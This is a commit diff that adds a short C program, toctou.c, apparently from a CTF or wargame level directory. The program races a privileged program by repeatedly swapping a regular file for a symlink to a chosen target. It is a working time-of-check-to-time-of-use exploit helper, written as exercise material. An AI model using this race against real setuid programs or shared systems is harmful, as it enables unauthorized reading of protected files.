refactor(maiboyer): adding the maibaoyer directory

maiboyer/level10/ressources/toctou.c

@@ -0,0 +1,20 @@
+#include <fcntl.h>
+#include <stdio.h>
+#include <unistd.h>
+
+int main(int argc, char **argv) {
+  if (argc < 2) {
+    fprintf(stderr, "%s: <file> <target>\n", argv[0]);
+    return 1;
+  }
+  const char *file = argv[1];
+  const char *target = argv[2];
+  int fd = -1;
+  while (1) {
+    unlink(file);
+    fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
+    close(fd);
+    unlink(file);
+    symlink(target, file);
+  }
+}